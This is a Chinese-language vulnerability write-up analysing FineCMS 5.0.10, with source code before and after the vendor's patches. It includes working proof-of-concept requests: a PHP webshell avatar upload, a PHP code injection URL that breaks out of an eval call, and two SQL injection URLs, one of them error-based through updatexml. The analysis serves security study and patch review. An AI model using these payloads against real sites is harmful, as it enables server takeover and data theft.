FineCMS 5.0.10 多個 漏洞詳細分析過程
i春秋作家：F0rmat
0x01 前言
已經一個月沒有寫文章了，最近發生了很多事情，水文一篇。
今天的這個CMS是FineCMS，版本是5.0.10版本的幾個漏洞分析，從修補漏洞前和修補後的兩方面去分析。
文中的evai是特意寫的，因為會觸發論壇的防護機制，還有分頁那一段的程式碼也去掉了，因為會觸發論壇分頁的bug。
0x02 環境搭建
https://www.ichunqiu.com/vm/59011/1 可以去i春秋的實驗，不用自己搭建那麼麻煩了。
0x03 任意檔案上傳漏洞
1.漏洞復現
用十六進位制編輯器寫一個有一句話的圖片
去網站註冊一個賬號，然後到上傳頭像的地方。
抓包，把jepg的改成php發包。
可以看到檔案已經上傳到到
/uploadfile/member/使用者ID/0x0.php
2.漏洞分析
檔案：finecms/dayrui/controllers/member/Account.php 177~244行
/** * 上傳頭像處理 * 傳入頭像壓縮包，解壓到指定資料夾後刪除非圖片檔案 */ public function upload() { // 建立圖片儲存資料夾 $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/'; @dr_dir_delete($dir); !is_dir($dir) && dr_mkdirs($dir); if ($_POST['tx']) { $file = str_replace(' ', '+', $_POST['tx']); if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){ $new_file = $dir.'0x0.'.$result[2]; if ([email protected]_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) { exit(dr_json(0, '目錄許可權不足或磁碟已滿')); } else { $this->load->library('image_lib'); $config['create_thumb'] = TRUE; $config['thumb_marker'] = ''; $config['maintain_ratio'] = FALSE; $config['source_image'] = $new_file; foreach (array(30, 45, 90, 180) as $a) { $config['width'] = $config['height'] = $a; $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2]; $this->image_lib->initialize($config); if (!$this->image_lib->resize()) { exit(dr_json(0, '上傳錯誤：'.$this->image_lib->display_errors())); break; } } list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]); !$type && exit(dr_json(0, '圖片字串不規範')); } } else { exit(dr_json(0, '圖片字串不規範')); } } else { exit(dr_json(0, '圖片不存在')); } // 上傳圖片到伺服器 if (defined('UCSSO_API')) { $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg')); !$rt['code'] && $this->_json(0, fc_lang('通訊失敗：%s', $rt['msg'])); } exit('1'); }
這個我記得在5.0.8的版本有講過這個程式碼的漏洞執行https://getpass.cn/2018/01/30/The%20latest%20version%20of%20FineCMS%205.0.8%20getshell%20daily%20two%20holes/
後來官方修復的方案是加上了白名單了：
if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
exit(dr_json(0, '目錄許可權不足'));
}
...
$c = 0;
if ($fp = @opendir($dir)) {
while (FALSE !== ($file = readdir($fp))) {
$ext = substr(strrchr($file, '.'), 1);
if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
if (copy($dir.$file, $my.$file)) {
$c++;
}
}
}
closedir($fp);
}
if (!$c) {
exit(dr_json(0, fc_lang('未找到目錄中的圖片')));
}
0x04 任意程式碼執行漏洞
1.漏洞復現
auth下面的分析的時候會說到怎麼獲取
瀏覽器輸入：http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271
2.漏洞分析
這個漏洞的檔案在/finecms/dayrui/controllers/Api.php的data2()
public function data2() {
$data = array();
// 安全碼認證
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授權認證碼不正確
$data = array('msg' => '授權認證碼不正確', 'code' => 0);
} else {
// 解析資料
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {
// list資料查詢
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 快取資料
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
}
// 接收引數
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
if (!function_exists($function)) {
$data = array('msg' => fc_lang('自定義函式'.$function.'不存在'), 'code' => 0);
} else {
$data = $function($data);
}
}
// 頁面輸出
if ($format == 'php') {
print_r($data);
} elseif ($format == 'jsonp') {
// 自定義返回名稱
echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
// 自定義返回名稱
echo $this->callback_json($data);
}
exit;
}可以看到開頭這裡驗證了認證碼：
// 安全碼認證
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授權認證碼不正確
$data = array('msg' => '授權認證碼不正確', 'code' => 0);
} else {授權碼在/config/system.php
可以看到SYS_KEY是固定的，我們可以在Cookies找到，/finecms/dayrui/config/config.php
用瀏覽器檢視Cookies可以看到KEY，但是驗證用MD5，我們先把KEY加密就行了。
直接看到這一段，呼叫了Template物件裡面的list_tag函式
if (!$data) {
// list資料查詢
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 快取資料
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}我們到finecms/dayrui/libraries/Template.php看list_tag函式的程式碼,程式碼有點長，我抓重點的地方,這裡把param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271的內容分為兩個陣列$var、$val，這兩個陣列的內容分別為
$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']$cache=_cache_var是返回會員的資訊
重點的是下面的 @evai('$data=$cache'.$this->_get_var($_param).';');
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);再看這一段,因為swtich選中的是cache，所有就不再進行下面的分析了。$pos = strpos($param['name'], '.');這句是為下面的substr函式做準備。
是為了分離出的內容為
$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271" // action
switch ($system['action']) {
case 'cache': // 系統快取資料
if (!isset($param['name'])) {
return $this->_return($system['return'], 'name引數不存在');
}
$pos = strpos($param['name'], '.');
if ($pos !== FALSE) {
$_name = substr($param['name'], 0, $pos);
$_param = substr($param['name'], $pos + 1);
} else {
$_name = $param['name'];
$_param = NULL;
}
$cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
if (!$cache) {
return $this->_return($system['return'], "快取({$_name})不存在，請在後臺更新快取");
}
if ($_param) {
$data = array();
@evai('$data=$cache'.$this->_get_var($_param).';');
if (!$data) {
return $this->_return($system['return'], "快取({$_name})引數不存在!!");
}
} else {
$data = $cache;
}
return $this->_return($system['return'], $data, '');
break;跟蹤get_var函式，在這裡我們先把$param的內容假設為a,然後執行函式裡面的內容，最後返回的$string的內容是：$string=['a']
那麼我們的思路就是把兩邊的[' ']閉合然後再放上惡意的程式碼。
payload為：1'];phpinfo();$a=['1
那麼返回的$string的內容：$string=['1'];phpinfo();$a=['1']
public function _get_var($param) {
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '\''.$var.'\'';
}
$string.= ']';
}
return $string;
}修復後的_get_var函式裡面多了一個dr_safe_replace過濾函式，然後data2()刪除了。
public function _get_var($param) {
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$var = dr_safe_replace($var);
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '\''.$var.'\'';
}
$string.= ']';
}
return $string;
}dr_safe_replace()
function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}
0x05 任意SQL語句執行1
1.漏洞復現
瀏覽器：
http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version();%27
2.漏洞分析
這裡就不用debug模式去跟進了，有不懂CI框架的資料庫操作可以去看官方文件http://codeigniter.org.cn/user_guide/database/index.html
問題一樣出在finecms/dayrui/controllers/Api.php中的data2(),可以直接去看finecms/dayrui/libraries/Template.php裡面的list_tag()函式
fenye
這裡想說一下就是preg_match這個函式的作用，他匹配過後sql是一個數組：
array(2) {
[0]=>
string(23) "sql='select version();'"
[1]=>
string(17) "select version();"
}
這裡判斷了開頭的位置是否只使用了select
if (stripos($sql, 'SELECT') !== 0) {
return $this->_return($system['return'], 'SQL語句只能是SELECT查詢語句');再往下看，這一句才是執行SQL的地方，傳入sql內容和$system['site']預設是1,$system['cache'] 預設快取時間是3600
$data = $this->_query($sql, $system['site'], $system['cache']);繼續跟進_query()函式
public function _query($sql, $site, $cache, $all = TRUE) {
echo $this->ci->site[$site];
// 資料庫物件
$db = $site ? $this->ci->site[$site] : $this->ci->db;
$cname = md5($sql.dr_now_url());
// 快取存在時讀取快取檔案
if ($cache && $data = $this->ci->get_cache_data($cname)) {
return $data;
}
// 執行SQL
$db->db_debug = FALSE;
$query = $db->query($sql);
if (!$query) {
return 'SQL查詢解析不正確：'.$sql;
}
// 查詢結果
$data = $all ? $query->result_array() : $query->row_array();
// 開啟快取時，重新儲存快取資料
$cache && $this->ci->set_cache_data($cname, $data, $cache);
$db->db_debug = TRUE;
return $data;
}沒有對函式進行任何過濾$query = $db->query($sql);，直接帶入了我們的語句。
官方的修復方法：刪除了data2()函式
0x06 任意SQL語句執行2
1.漏洞復現
瀏覽器：
http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))a
2. 漏洞分析
檔案在finecms/dayrui/controllers/member/Api.php的checktitle()函式
public function checktitle() {
$id = (int)$this->input->get('id');
$title = $this->input->get('title', TRUE);
$module = $this->input->get('module');
(!$title || !$module) && exit('');
$num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
echo $num;
$num ? exit(fc_lang('<font color=red>'.fc_lang('重複').'</font>')) : exit('');
}其他的沒什麼過濾，主要是CI框架裡面的一些內建方法，比如count_all_results，可以到http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 檢視用法
還有一個就是SITE_ID變數，它是指
站點是系統的核心部分，各個站點資料獨立，可以設定站點分庫管理
剩下也沒什麼可分析了，不懂updatexml語句可以看下面的參考連結
0x07 結束
還有一個遠端命令執行漏洞沒能復現，是在api的html()函式，說是可以用&來突破,但是evai只能用;來結束語句的結束。
function dr_safe_replace($string) {
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
return $string;
}